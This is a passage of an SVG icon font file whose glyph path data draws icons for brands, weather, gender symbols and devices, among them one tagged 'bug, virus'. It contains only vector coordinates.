	c-4.648,2.618-9.828,5.39-15.484,8.33c 8.96,3.262, 17.612,6.132, 25.858,8.568c 2.030-8.512, 3.78-17.15, 5.222-25.816
	C 286.916,240.892, 281.708,243.874, 276.304,246.828z M 161.518,263.656c 8.4-2.548, 16.912-5.404, 25.494-8.54c-5.32-2.688-10.416-5.46-15.26-8.246
	c-5.418-2.982-10.626-5.95-15.568-8.918C 157.696,246.702, 159.474,255.312, 161.518,263.656z M 119.462,142.654c-7.532,5.782-14.42,11.536-20.636,17.206
	c 6.328,5.698, 13.188,11.368, 20.552,16.968c-0.182-5.46-0.266-11.004-0.266-16.702C 119.126,154.092, 119.238,148.254, 119.462,142.654z M 132.692,271.132
	c-4.69-17.836-8.12-36.274-10.206-54.936c-16.24-11.564-31.178-23.646-44.534-35.994c-14.504,15.456-25.032,30.324-31.36,44.282
	c-6.482,14.294-7.028,25.508-1.638,34.3c 5.25,8.638, 15.708,13.762, 31.99,15.68c 4.928,0.574, 10.192,0.868, 15.638,0.868
	C 104.608,275.332, 118.076,273.918, 132.692,271.132z M 46.732,95.334c 6.258,13.958, 16.674,28.812, 30.996,44.212c 13.496-12.502, 28.504-24.654, 44.744-36.204
	c 2.086-18.62, 5.516-36.834, 10.192-54.292c-21.224-4.172-39.928-5.404-55.636-3.654c-16.156,1.834-26.572,6.986-31.878,15.876
	C 39.788,69.882, 40.306,81.012, 46.732,95.334z M 171.29,73.27c 4.872-2.898, 10.164-5.782, 15.834-8.666
	c-8.862-3.262-17.472-6.090-25.746-8.442c-2.030,8.484-3.738,17.010-5.124,25.494C 161.266,78.674, 166.306,75.86, 171.29,73.27z
	 M 286.692,56.134c-8.344,2.352-16.968,5.166-25.83,8.442c 5.040,2.59, 10.36,5.446, 15.904,8.568c 5.152,2.856, 10.206,5.726, 15.078,8.568
	C 290.29,72.584, 288.568,64.044, 286.692,56.134z M 315.28,49.008c 4.578,17.514, 8.008,35.798, 10.22,54.544c 16.156,11.466, 31.094,23.548, 44.52,35.966
	c 14.336-15.568, 24.766-30.506, 31.024-44.422c 6.426-14.336, 7-25.494, 1.778-34.132c-5.166-8.54-15.89-13.804-31.864-15.68
	c-4.69-0.546-9.702-0.84-14.896-0.84C 343.868,44.458, 330.19,45.984, 315.28,49.008z" data-tags="atom" />
<glyph unicode="&#xe306;" d="M 406.672,158.894c-0.098-0.042-0.196-0.098-0.252-0.098c0-0.070,0-0.168,0-0.224
	c-29.008-14.98-55.566-20.93-79.436-20.93c-36.134,0-66.108,13.65-89.138,30.506c-0.14,0.098-0.322,0.224-0.434,0.35L 279.3,327.202
	c 13.244-11.298, 43.204-32.438, 88.606-32.438c 22.862,0, 49.574,5.348, 80.080,19.936L 406.672,158.894z M 131.362,220.62c-0.378,0-0.742,0-1.134,0
	c-21.672,0-47.46-6.286-79.268-20.496L 91.812,357.148c 30.954,13.818, 56.14,19.39, 77.14,19.838c 0.154,0, 0.308,0, 0.476,0
	c 12.348,0, 23.506-1.61, 33.376-4.172c 20.664-5.768, 50.372-25.242, 50.372-25.242L 253.176,347.46 c-8.512-31.92-33.712-126.504-42.21-158.004
	C 188.79,205.542, 164.962,220.242, 131.362,220.62z M 115.57,182.358c 2.688,0.252, 5.362,0.336, 8.036,0.336c 23.576,0, 45.094-9.030, 60.536-17.696
	c 6.608-3.892, 12.852-8.134, 19.054-12.348c-5.488-20.594-34.412-128.674-42.924-160.272c-22.946,16.716-47.264,31.556-82.334,31.556
	c-21.294,0-46.606-5.53-77.924-19.362L 41.482,161.96c 4.718,2.1, 9.324,4.032, 13.79,5.796C 70.392,173.58, 91.924,180.188, 115.57,182.358z
	 M 317.632,100.85c 22.008,0, 48.062,4.452, 78.288,16.31L 356.076-35.3c-34.356-15.512-61.824-21.686-84.798-21.686
	c-36.302,0-84.686,32.662-84.63,32.62l 41.342,157.136C 240.576,121.78, 269.71,100.85, 317.632,100.85z" data-tags="winsows" />
<glyph unicode="&#xe307;" d="M 434,188l-44.422,0 C 377.748,258.28, 322.294,313.65, 252,325.48L 252,370 c0,7.742-6.258,14-14,14l-28,0 
		c-7.742,0-14-6.258-14-14l0-44.52 C 125.706,313.65, 70.252,258.28, 58.422,188L 14,188 c-7.742,0-14-6.258-14-14l0-28 c0-7.742, 6.258-14, 14-14l 44.422,0 
		c 11.83-70.28, 67.284-125.664, 137.578-137.48L 196-50 c0-7.742, 6.258-14, 14-14l 28,0 c 7.742,0, 14,6.258, 14,14l0,44.52 c 70.294,11.83, 125.748,67.214, 137.578,137.48L 434,132 
		c 7.742,0, 14,6.258, 14,14l0,28 C 448,181.742, 441.742,188, 434,188z M 332.444,188L 252,188 L 252,268.332 C 291.326,258.182, 322.294,227.298, 332.444,188z M 196,268.332L 196,188 
		L 115.542,188 C 125.692,227.298, 156.674,258.182, 196,268.332z M 115.542,132L 196,132 l0-80.318 C 156.674,61.804, 125.692,92.688, 115.542,132z M 252,51.682L 252,132 l 80.444,0 
		C 322.294,92.688, 291.326,61.804, 252,51.682z" data-tags="target, goal" />
<glyph unicode="&#xe308;" d="M 182,244L 70,244 c-7.742,0-14-6.258-14-14l0-140 c0-7.742, 6.258-14, 14-14l 196,0 c 7.742,0, 14,6.258, 14,14
		l-84,140C 196,237.742, 189.742,244, 182,244zM 434,244l-42,0 L 392,286 c0,7.742-6.258,14-14,14L 14,300 C 6.258,300,0,293.742,0,286l0-252 c0-7.742, 6.258-14, 14-14
		l 364,0 c 7.742,0, 14,6.258, 14,14l0,42 l 42,0 c 7.742,0, 14,6.258, 14,14L 448,230 C 448,237.742, 441.742,244, 434,244z M 364,62c0-7.742-6.258-14-14-14L 42,48 
		c-7.742,0-14,6.258-14,14L 28,258 c0,7.742, 6.258,14, 14,14l 308,0 c 7.742,0, 14-6.258, 14-14L 364,62 z" data-tags="battery" />
<glyph unicode="&#xe309;" d="M0,114.416l 140.588-90.398l0,65.254 L 56.882,140.96l 83.706,51.688L 140.588,258.35 L0,167.49L0,114.416 z M 170.324-8l 48.384,0 l 70.896,336l-48.706,0 
			L 170.324-8z M 307.426,258.35l0-65.702 l 83.678-51.688l-83.678-51.674l0-65.254 L 448,114.416l0,53.074 L 307.426,258.35z" data-tags="code, embed" />
<glyph unicode="&#xf18b;" d="M 201.25,40.75q-30.5-16.75 -65.25-16.75q-35.25,0 -65.25,16.75q 24.5,15.25 41.75,37.25t 23.5,47.75q 6.25-25.75 23.5-47.75t 41.75-37.25zM 113.25,294l0-86 q0-44.75 -22.375-81.5t-58.625-54.25q-32.25,38 -32.25,87.75q0,50 32.375,88t 80.875,46zM 239.5,247.75q-32-38 -32-87.75q0-50.25 32-87.75q-36.25,17.5 -58.625,54.5t-22.375,82 l0,85.25 q 49-8.25 81-46.25zM 409.5,40.75q-30.5-16.75 -65.25-16.75q-35.25,0 -65.25,16.75q 24.5,15.25 41.75,37.25t 23.5,47.75q 6.25-25.75 23.5-47.75t 41.75-37.25zM 321.5,294l0-86 q0-44.75 -22.75-81.5t-59.25-54.25l0,0 q 33.25,38.5 33.25,87.75q0,48.75 -33.25,87.75q 32.25,37.75 82,46.25zM 480,160q0-50.25 -32.25-87.75q-36.25,17.5 -58.625,54.5 t-22.375,82l0,85.25 q 48.5-8 80.875-46t 32.375-88z" horiz-adv-x="480" data-tags="renren" />
<glyph unicode="&#xf18a;" d="M 168.75,63q 5.25,8.5 2.75,17.25t-11.25,12.5q-8.5,3.5 -18.25,0.25t-15-11.5q-5.5-8.5 -3.25-17.125t 10.75-12.625t 18.625-0.625t 15.625,11.875zM 192.25,93.25q 2,3.25 0.875,6.625t-4.375,4.625q-3.5,1.25 -7.125-0.125t-5.375-4.625q-4.25-7.75 3.25-11.25q 3.5-1.25 7.25,0.125t 5.5,4.625zM 235.75,66.5q-11.25-25.5 -39.5-37.5t-56-3 q-26.75,8.5 -36.875,31.625t 1.625,46.875q 11.75,23.25 37.875,34.75t 52.625,4.75q 27.75-7.25 39.625-29.875t 0.625-47.625zM 313.75,106.5q-2.25,24 -22.25,42.5t-52.125,27.25t-68.625,5.25q-55.75-5.75 -92.375-35.375t-33.125-66.125q 2.25-24 22.25-42.5t 52.125-27.25t 68.625-5.25q 55.75,5.75 92.375,35.375t 33.125,66.125zM 390.75,105.5 q0-17 -9.25-34.875t-27.25-34.25t-42.125-29.375t-56.5-20.75t-67.625-7.75t-68.75,8.375t-60.125,23.25t-42.875,37.75t-16.25,49.875q0,28.75 17.375,61.25t 49.375,64.5q 42.25,42.25 85.375,59t 61.625-1.75q 16.25-16 5-52.25q-1-3.5 -0.25-5t 2.5-1.75t 3.625,0.125t 3.375,0.875l 1.5,0.5q 34.75,14.75 61.5,14.75t 38.25-15.25q 11.25-15.75 0-44.5 q-0.5-3.25 -1.125-5t 1.125-3.125t 3-1.875t 4.25-1.5q 14.25-4.5 25.75-11.75t 20-20.375t 8.5-29.125zM 372.25,261.5q 10.5-11.75 13.625-27.125t-1.625-29.375q-2-5.75 -7.375-8.5t-11.125-1q-5.75,2 -8.5,7.375t-1,11.125q 5,15.75 -6,27.75t-26.75,8.75q-6-1.25 -11.25,2t-6.25,9.25q-1.25,6 2,11.125t 9.25,6.375q 15,3.25 29.75-1.375t 25.25-16.375z M 417.5,302.25q 21.75-24 28.125-55.625t-3.375-60.375q-2.25-6.75 -8.5-10t-13-1t-10,8.5t-1.25,13q 7,20.5 2.5,43t-20,39.5q-15.5,17.25 -37,23.875t-43.25,2.125q-7-1.5 -13,2.375t-7.5,10.875t 2.375,12.875t 10.875,7.375q 30.75,6.5 61-2.875t 52-33.625z" data-tags="weibo" />
<glyph unicode="&#xf189;" d="M 479.25,254q 5.75-16 -37.5-73.5q-6-8 -16.25-21.25q-19.5-25 -22.5-32.75q-4.25-10.25 3.5-20.25q 4.25-5.25 20.25-20.5l 0.25,0 l 0.25-0.25l 0.25-0.25l 0.5-0.5q 35.25-32.75 47.75-55.25q 0.75-1.25 1.625-3.125t 1.75-6.625t-0.125-8.5t-6.25-6.875t-14.75-3.125l-64-1q-6-1.25 -14,1.25t-13,5.5l-5,3q-7.5,5.25 -17.5,16t-17.125,19.375t-15.25,14.5 t-14.125,3.875q-0.75-0.25 -2-0.875t-4.25-3.625t-5.375-7.375t-4.25-13t-1.625-19.375q0-3.75 -0.875-6.875t-1.875-4.625l-1-1.25q-4.5-4.75 -13.25-5.5l-28.75,0 q-17.75-1 -36.5,4.125t-32.875,13.25t-25.75,16.5t-17.625,14.375l-6.25,6q-2.5,2.5 -6.875,7.5t-17.875,22.75t-26.5,37.75t-30.625,52.75t-32.625,68q-1.5,4 -1.5,6.75t 0.75,4l 1,1.5 q 3.75,4.75 14.25,4.75l 68.5,0.5q 3-0.5 5.75-1.625t 4-2.125l 1.25-0.75q 4-2.75 6-8q 5-12.5 11.5-25.875t 10.25-20.375l 4-7.25q 7.25-15 14-26t 12.125-17.125t 10.375-9.625t 8.5-3.5t 6.75,1.25q 0.5,0.25 1.25,1.25t 3,5.5t 3.375,11.75t 2.375,20.25t0,31.25q-0.5,10 -2.25,18.25t-3.5,11.5l-1.5,3q-6.25,8.5 -21.25,10.75q-3.25,0.5 1.25,6q 4.25,4.75 9.5,7.5q 13.25,6.5 59.75,6 q 20.5-0.25 33.75-3.25q 5-1.25 8.375-3.375t 5.125-6t 2.625-8t 0.875-11.375t-0.25-13.75t-0.625-17.625t-0.375-20.625q0-2.75 -0.25-10.5t-0.125-12t 0.875-10.125t 2.875-9.75t 5.625-6.125q 2-0.5 4.25-1t 6.5,2.75t 9.5,8.625t 13,16.75t 17,26.875q 15,26 26.75,56.25q 1,2.5 2.5,4.375t 2.75,2.625l 1,0.75l 1.25,0.625t 3.25,0.75t 5,0.125l 72,0.5 q 9.75,1.25 16-0.625t 7.75-4.125z" horiz-adv-x="480" data-tags="vk" />
<glyph unicode="&#xf188;" d="M 408,144q0-6.5 -4.75-11.25t-11.25-4.75l-56,0 q0-42.75 -16.75-72.5l 52-52.25q 4.75-4.75 4.75-11.25t-4.75-11.25q-4.5-4.75 -11.25-4.75t-11.25,4.75l-49.5,49.25q-1.25-1.25 -3.75-3.25t-10.5-7.125t-16.25-9.125t-20.5-7.25t-24.25-3.25l0,224 l-32,0 l0-224 q-12.75,0 -25.375,3.375t-21.75,8.25t-16.5,9.75t-10.875,8.125l-3.75,3.5l-45.75-51.75 q-5-5.25 -12-5.25q-6,0 -10.75,4q-4.75,4.5 -5.125,11.125t 3.875,11.625l 50.5,56.75q-14.5,28.5 -14.5,68.5l-56,0 q-6.5,0 -11.25,4.75t-4.75,11.25t 4.75,11.25t 11.25,4.75l 56,0 l0,73.5 l-43.25,43.25q-4.75,4.75 -4.75,11.25t 4.75,11.25t 11.25,4.75t 11.25-4.75l 43.25-43.25l 211,0 l 43.25,43.25q 4.75,4.75 11.25,4.75t 11.25-4.75t 4.75-11.25t-4.75-11.25l-43.25-43.25l0-73.5 l 56,0 q 6.5,0 11.25-4.75 t 4.75-11.25zM 288,288l-160,0 q0,33.25 23.375,56.625t 56.625,23.375t 56.625-23.375t 23.375-56.625z" horiz-adv-x="416" data-tags="bug, virus" />
<glyph unicode="&#xf187;" d="M 272,176q0,6.5 -4.75,11.25t-11.25,4.75l-64,0 q-6.5,0 -11.25-4.75t-4.75-11.25t 4.75-11.25t 11.25-4.75l 64,0 q 6.5,0 11.25,4.75t 4.75,11.25zM 416,224l0-240 q0-6.5 -4.75-11.25t-11.25-4.75l-352,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,240 q0,6.5 4.75,11.25t 11.25,4.75l 352,0 q 6.5,0 11.25-4.75t 4.75-11.25zM 432,336l0-64 q0-6.5 -4.75-11.25t-11.25-4.75l-384,0  q-6.5,0 -11.25,4.75t-4.75,11.25l0,64 q0,6.5 4.75,11.25t 11.25,4.75l 384,0 q 6.5,0 11.25-4.75t 4.75-11.25z" data-tags="archive, box" />
<glyph unicode="&#xf186;" d="M 315.5,58.25q-13.5-2.25 -27.5-2.25q-45.5,0 -84.25,22.5t-61.25,61.25t-22.5,84.25q0,48 26,89.25q-50.25-15 -82.125-57.25t-31.875-96q0-32.5 12.75-62.125t 34.125-51t 51-34.125t 62.125-12.75q 36,0 68.375,15.375t 55.125,42.875zM 366.25,79.5q-23.5-50.75 -70.875-81.125t-103.375-30.375q-39,0 -74.5,15.25 t-61.25,41t-41,61.25t-15.25,74.5q0,38.25 14.375,73.125t 39,60.375t 58.875,41.125t 72.5,17.125q 11,0.5 15.25-9.75q 4.5-10.25 -3.75-18q-21.5-19.5 -32.875-45.375t-11.375-54.625q0-37 18.25-68.25t 49.5-49.5t 68.25-18.25q 29.5,0 57,12.75q 10.25,4.5 18-3.25q 3.5-3.5 4.375-8.5t-1.125-9.5z" horiz-adv-x="384" data-tags="moon, night, dark" />
<glyph unicode="&#xf185;" d="M 368,160q0,29.25 -11.375,55.875t-30.75,46t-46,30.75t-55.875,11.375t-55.875-11.375t-46-30.75t-30.75-46t-11.375-55.875t 11.375-55.875t 30.75-46t 46-30.75t 55.875-11.375t 55.875,11.375t 46,30.75t 30.75,46t 11.375,55.875zM 437,90.75q-1-3.75 -5-5l-73-24l0-76.5 q0-4 -3.25-6.5q-3.75-2.5 -7.25-1 l-73,23.5l-45-62q-2.5-3.25 -6.5-3.25t-6.5,3.25l-45,62l-73-23.5q-3.5-1.5 -7.25,1q-3.25,2.5 -3.25,6.5l0,76.5 l-73,24q-4,1.25 -5,5q-1.25,4.25 1,7.25l 45,62l-45,62q-2.25,3.25 -1,7.25q 1,3.75 5,5l 73,24l0,76.5 q0,4 3.25,6.5q 3.75,2.5 7.25,1l 73-23.5l 45,62q 2.25,3 6.5,3t 6.5-3l 45-62l 73,23.5 q 3.5,1.5 7.25-1q 3.25-2.5 3.25-6.5l0-76.5 l 73-24q 4-1.25 5-5q 1.25-4 -1-7.25l-45-62l 45-62q 2.25-3 1-7.25z" data-tags="sun, brightness, lightness" />
<glyph unicode="&#xf184;" d="M 193.25,58.5l 87.5,118.25q 4,5.5 6.125,14.75t-1.5,21.25t-15.375,19.75q-10,6.5 -20.75,6.375t-18.375-4.375t-13.625-11.25q-9-10 -24-10q-14.75,0 -23.75,10q-6,7 -13.625,11.25t-18.375,4.375t-21-6.375q-11.5-7.75 -15.125-19.75t-1.5-21.25t 6.125-14.75zM 384,160q0-52.25 -25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75 t-69.875,69.875t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75t 69.875-69.875t 25.75-96.375z" horiz-adv-x="384" data-tags="gittip" />
<glyph unicode="&#xf183;" d="M 256,208l0-104 q0-10 -7-17t-17-7t-17,7t-7,17l0,88 l-16,0 l0-228 q0-11.5 -8.25-19.75t-19.75-8.25t-19.75,8.25t-8.25,19.75l0,116 l-16,0 l0-116 q0-11.5 -8.25-19.75t-19.75-8.25t-19.75,8.25t-8.25,19.75l0,228 l-16,0 l0-88 q0-10 -7-17t-17-7t-17,7t-7,17l0,104 q0,20 14,34t 34,14l 160,0 q 20,0 34-14t 14-34z M 184,320q0-23.25 -16.375-39.625t-39.625-16.375t-39.625,16.375t-16.375,39.625t 16.375,39.625t 39.625,16.375t 39.625-16.375t 16.375-39.625z" horiz-adv-x="256" data-tags="male, gender, sex, man" />
<glyph unicode="&#xf182;" d="M 320,120q0-10 -7-17t-17-7q-12.75,0 -20,10.75l-56.75,85.25l-11.25,0 l0-33 l 61.75-102.75q 2.25-3.75 2.25-8.25q0-6.5 -4.75-11.25t-11.25-4.75l-48,0 l0-68 q0-11.5 -8.25-19.75t-19.75-8.25l-40,0 q-11.5,0 -19.75,8.25t-8.25,19.75l0,68 l-48,0 q-6.5,0 -11.25,4.75t-4.75,11.25q0,4.5 2.25,8.25l 61.75,102.75l0,33 l-11.25,0 l-56.75-85.25q-7.25-10.75 -20-10.75 q-10,0 -17,7t-7,17q0,7.25 4,13.25l 64,96q 18.25,26.75 44,26.75l 96,0 q 25.75,0 44-26.75l 64-96q 4-6 4-13.25zM 216,320q0-23.25 -16.375-39.625t-39.625-16.375t-39.625,16.375t-16.375,39.625t 16.375,39.625t 39.625,16.375t 39.625-16.375t 16.375-39.625z" horiz-adv-x="320" data-tags="female, gender, sex, woman" />
<glyph unicode="&#xf181;" d="M 176,48l0,256 q0,3.5 -2.25,5.75t-5.75,2.25l-120,0 q-3.5,0 -5.75-2.25t-2.25-5.75l0-256 q0-3.5 2.25-5.75t 5.75-2.25l 120,0 q 3.5,0 5.75,2.25t 2.25,5.75zM 344,144l0,160 q0,3.5 -2.25,5.75t-5.75,2.25l-120,0 q-3.5,0 -5.75-2.25t-2.25-5.75l0-160 q0-3.5 2.25-5.75t 5.75-2.25l 120,0 q 3.5,0 5.75,2.25t 2.25,5.75zM 384,336l0-352 q0-6.5 -4.75-11.25t-11.25-4.75l-352,0  q-6.5,0 -11.25,4.75t-4.75,11.25l0,352 q0,6.5 4.75,11.25t 11.25,4.75l 352,0 q 6.5,0 11.25-4.75t 4.75-11.25z" horiz-adv-x="384" data-tags="trello" />
<glyph unicode="&#xf180;" d="M 370.75,128l-146.75-146.75q-13-13.25 -31.875-13.25t-32.125,13.25l-146.75,146.75q-13.25,13.25 -13.25,32t 13.25,32l 146.75,146.75q 13.25,13.25 32,13.25t 32-13.25l 66.25-66.25l-99.5-99.75l-47,47q-10.5,10.5 -24.75,10.5q-14.75,0 -25-10.25l-30-30.25q-10.5-10 -10.5-24.75q0-14.5 10.5-25l 101.5-102q 7.5-7 16.75-9.25l 1.5-1l 7,0 q 15,0 24.75,10.25 l 154.75,154.75l 0.5-0.75q 13.25-13.25 13.25-32t-13.25-32zM 351.5,284.5l 30-30q 3.5-3.75 3.5-9t-3.5-9l-182.5-182.5q-4.25-3.75 -9.25-3.75l0,0 q-1,0 -1.5,0.25q-4.5,0.5 -7.5,3.5l-101.75,102q-3.5,3.75 -3.5,9t 3.5,8.75l 30.25,30q 3.25,3.75 8.75,3.75t 9-3.75l 63-63l 143.5,143.75q 3.75,3.75 9,3.75t 9-3.75z" horiz-adv-x="416" data-tags="foursquare, social" />
<glyph unicode="&#xf17e;" d="M 293.25,118.25q0,12.5 -4.875,22.875t-12.125,17.125t-18.25,12.25t-20.625,8.5t-21.875,5.75l-26,6q-7.5,1.75 -11,2.625t-8.75,2.875t-7.5,4t-4.125,5.25t-1.875,7.5q0,19.25 36,19.25q 10.75,0 19.25-3t 13.5-7.125t 9.5-8.375t 10-7.25t 12-3q 11.75,0 18.875,8t 7.125,19.25q0,13.75 -14,24.875t-35.5,16.875t-45.5,5.75q-17,0 -33-3.875 t-29.875-11.75t-22.25-21.75t-8.375-32.125q0-15.25 4.75-26.625t 14-18.875t 20-12.125t 25.75-8.125l 36.5-9q 22.5-5.5 28-9q 8-5 8-15q0-9.75 -10-16.125t-26.25-6.375q-12.75,0 -22.875,4t-16.25,9.625t-11.375,11.25t-11.5,9.625t-13.5,4q-12.5,0 -18.875-7.5t-6.375-18.75q0-23 30.5-39.375t 72.75-16.375 q 18.25,0 35,4.625t 30.625,13.375t 22.125,23.375t 8.25,32.875zM 384,64q0-39.75 -28.125-67.875t-67.875-28.125q-32.5,0 -58.5,20q-19.25-4 -37.5-4q-35.75,0 -68.375,13.875t-56.25,37.5t-37.5,56.25t-13.875,68.375q0,18.25 4,37.5q-20,26 -20,58.5q0,39.75 28.125,67.875t 67.875,28.125q 32.5,0 58.5-20 q 19.25,4 37.5,4q 35.75,0 68.375-13.875t 56.25-37.5t 37.5-56.25t 13.875-68.375q0-18.25 -4-37.5q 20-26 20-58.5z" horiz-adv-x="384" data-tags="skype, social" />
<glyph unicode="&#xf17d;" d="M 256,9q-10.5,60.25 -35,124.5l-0.5,0 l-0.5-0.25q-4-1.5 -10.75-4.125t-25.25-12.25t-34.25-20.5t-32.75-28.625t-25.75-37l-3.75,2.75q 46-37.5 104.5-37.5q 33,0 64,13zM 209.75,160.75q-5.25,12.25 -13.25,27.75q-77.75-23.25 -168.25-23.25q-0.25-1.75 -0.25-5.25q0-31 11-59.125t 31-50.375q 12.5,22.25 30.875,41.625t 35.625,31.125t 32.625,20.25 t 24.875,12l 9.25,3.25q 1,0.25 3.25,0.875t 3.25,1.125zM 183,213.75q-30,53.25 -61,94.5q-34.5-16.25 -58.5-46.5t-32-68q 75.5,0 151.5,20zM 354,134q-52.5,15 -102.25,7.25q 21.75-59.75 32-117.25q 27.75,18.75 46.25,47.375t 24,62.625zM 152.75,319.25q-0.25,0 -0.5-0.25q 0.25,0.25 0.5,0.25zM 300.25,283q-46.25,41 -108.25,41q-19,0 -38.75-4.75 q 32.75-42.5 61.5-95.5q 17.25,6.5 32.5,15.125t 24.125,15.375t 16.375,14.25t 9.375,10.125zM 356,161.75q-0.75,58 -37.25,102.5l-0.25-0.25q-2.25-3 -4.75-6.125t-10.875-11.125t-17.75-15.125t-25-16.25t-32.875-16.125q 6.25-13.25 11-23.75q 0.5-1.5 1.625-4.375t 1.875-4.125q 9,1.25 18.625,1.75t 18.375,0.5t 17.25-0.375t 16-1t 14.125-1.375t 12-1.625t 9.125-1.5 t 6.25-1.125zM 384,160q0-52.25 -25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75t-69.875,69.875t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75t 69.875-69.875t 25.75-96.375z" horiz-adv-x="384" data-tags="dribbble, social" />
<glyph unicode="&#xf17c;" d="M 165.75,281.25q-2.75-0.25 -3.875-2.625t-2.125-2.375q-1.25-0.25 -1.25,1.25q0,3 4.75,3.75l 2.5,0 zM 187.5,277.75q-1-0.25 -2.875,1.625t-4.375,1.125q 6,2.75 8-0.5q 0.75-1.5 -0.75-2.25zM 99.75,171q-1,0.25 -1.5-0.75t-1.125-3.125t-1.375-3.375t-2.5-3.25q-1.75-2.5 -0.25-3q 1-0.25 3.125,1.75t 3.125,4.5q 0.25,0.75 0.5,1.75t 0.5,1.5t 0.375,1.125t 0.125,1l0,0.75 t-0.25,0.625t-0.75,0.5z M 313.5,81.25q0,4.5 -13.75,10.5q 1,3.75 1.875,6.875t 1.25,6.5t 0.75,5.375t 0.125,5.625t-0.25,4.875t-0.875,5.5t-1,5.125t-1.25,6.25t-1.375,6.625q-2.5,12 -11.75,25.75t-18,18.75q 6-5 14.25-20.75q 21.75-40.5 13.5-69.5q-2.75-10 -12.5-10.5q-7.75-1 -9.625,4.625t-2,20.875t-2.875,26.75q-2.25,9.75 -4.875,17.25t-4.875,11.375t-3.875,6.125t-3.25,3.75t-1.875,1.75 q-3.5,15.5 -7.75,25.75t-7.375,14t-5.875,8.25t-3.75,10q-1,5.25 1.5,13.375t 1.125,12.375t-11.125,6.25q-3.75,0.75 -11.125,4.5t-8.875,4q-2,0.25 -2.75,6.5t 2,12.75t 9,6.75q 9.25,0.75 12.75-7.5t 1-14.5q-2.75-4.75 -0.5-6.625t 7.5-0.125q 3.25,1 3.25,9l0,9.25 q-1.25,7.5 -3.375,12.5t-5.25,7.625t-5.875,3.75t-6.75,1.875q-26.75-2 -22.25-33.5q0-3.75 -0.25-3.75 q-2.25,2.25 -7.375,2.625t-8.25-0.125t-3.875,1.25q 0.25,14.25 -4,22.5t-11.25,8.5q-6.75,0.25 -10.375-6.875t-4.125-14.875q-0.25-3.75 0.875-9.25t 3.25-9.375t 3.875-3.375q 2.5,0.75 4,3.5q 1,2.25 -1.75,2q-1.75,0 -3.875,3.625t-2.375,8.375q-0.25,5.5 2.25,9.25t 8.5,3.5q 4.25,0 6.75-5.25t 2.375-9.75t-0.375-5.5q-5.5-3.75 -7.75-7.25q-2-3 -6.875-5.875 t-5.125-3.125q-3.25-3.5 -3.875-6.75t 1.875-4.5q 3.5-2 6.25-4.875t 4-4.75t 4.625-3.25t 8.875-1.625q 11.75-0.5 25.5,3.75q 0.5,0.25 5.75,1.75t 8.625,2.625t 7.375,3.25t 5.25,4.375q 2.25,3.5 5,2q 1.25-0.75 1.625-2.125t-0.75-3t-4.125-2.375q-5-1.5 -14.125-5.375t-11.375-4.875q-11-4.75 -17.5-5.75q-6.25-1.25 -19.75,0.5q-2.5,0.5 -2.25-0.5t 4.25-4.75 q 6.25-5.75 16.75-5.5q 4.25,0.25 9,1.75t 9,3.5t 8.375,4.375t 7.5,4.25t 6.125,3t 4.375,0.625t 2.125-2.75q0-0.5 -0.25-1.125t-1-1.25t-1.5-1.125t-2.125-1.25t-2.25-1.125t-2.5-1.25t-2.375-1.125q-7-3.5 -16.875-11t-16.625-10.75t-12.25-0.25q-5.25,2.75 -15.75,18.25q-5.5,7.75 -6.25,5.5q-0.25-0.75 -0.25-2.5q0-6.25 -3.75-14.125t-7.375-13.875t-5.25-14.5t 2.875-15.75 q-5.75-1.5 -15.625-22.5t-11.875-35.25q-0.5-4.5 -0.375-17.25t-1.375-14.75q-2-6 -7.25-0.75q-8,7.75 -9,23.5q-0.5,7 1,14q 1,4.75 -0.25,4.5l-1-1.25q-9-16.25 2.5-41.5q 1.25-3 6.25-7t 6-5q 5-5.75 26-22.625t 23.25-19.125q 4-3.75 4.375-9.5t-3.5-10.75t-11.375-5.75q 2-3.75 7.25-11.125t 7-13.5t 1.75-17.625q 11.5,6 1.75,23 q-1,2 -2.625,4t-2.375,3t-0.5,1.5q 0.75,1.25 3.25,2.375t 5-0.625q 11.5-13 41.5-9q 33.25,3.75 44.25,21.75q 5.75,9.5 8.5,7.5q 3-1.5 2.5-13q-0.25-6.25 -5.75-23q-2.25-5.75 -1.5-9.375t 6-3.875q 0.75,4.75 3.625,19.25t 3.375,22.5q 0.5,5.25 -1.625,18.375t-1.875,24.25t 5.75,17.625q 3.75,4.5 12.75,4.5q 0.25,9.25 8.625,13.25t 18.125,2.625t 15-5.625zM 156.5,288 q 0.75,4.25 -0.625,7.5t-2.875,3.75q-2.25,0.5 -2.25-1.75q 0.5-1.25 1.25-1.5q 2.5,0 1.75-3.75q-0.75-5 2-5q 0.75,0 0.75,0.75zM 261.25,238.75q-0.5,2 -1.625,2.875t-3.25,1.25t-3.625,1.375q-1.25,0.75 -2.375,2t-1.75,2t-1.375,1.625t-1,1t-1-0.375q-3.5-4 1.75-10.875t 9.75-7.875q 2.25-0.25 3.625,2t 0.875,5zM 216.75,292q0,2.75 -1.25,4.875t-2.75,3.125t-2.25,0.75q-3.5-0.25 -1.75-1.75l 1-0.5 q 3.5-1 4.5-7.75q0-0.75 2,0.5zM 230.25,350.25q0,0.5 -0.625,1.25t-2.25,1.75t-2.375,1.5q-3.75,3.75 -6,3.75q-2.25-0.25 -2.875-1.875t-0.25-3.25t-0.125-3.125q-0.25-1 -1.5-2.625t-1.5-2.25t 0.75-2.125q 1-0.75 2,0t 2.75,2.25t 3.75,2.25q 0.25,0.25 2.25,0.25t 3.75,0.5t 2.25,1.75zM 371.5,15q 5-3 7.75-6.125t 3-6t-0.625-5.625t-3.875-5.5t-5.875-4.875t-7.5-4.625 t-7.875-4.125t-8-3.875t-6.75-3.25q-9.5-4.75 -21.375-14t-18.875-16q-4.25-4 -17-4.875t-22.25,3.625q-4.5,2.25 -7.375,5.875t-4.125,6.375t-5.5,4.875t-11.75,2.375q-11,0.25 -32.5,0.25q-4.75,0 -14.25-0.375t-14.5-0.625q-11-0.25 -19.875-3.75t-13.375-7.5t-10.875-7.125t-13.375-2.875q-7.25,0.25 -27.75,7.75t-36.5,10.75q-4.75,1 -12.75,2.375 t-12.5,2.25t-9.875,2.375t-8.375,3.625t-4.25,4.875q-2.5,5.75 1.75,16.625t 4.5,13.625q 0.25,4 -1,10t-2.5,10.625t-1.125,9.125t 2.625,6.75q 3.5,3 14.25,3.5t 15,3q 7.5,4.5 10.5,8.75t 3,12.75q 5.25-18.25 -8-26.5q-8-5 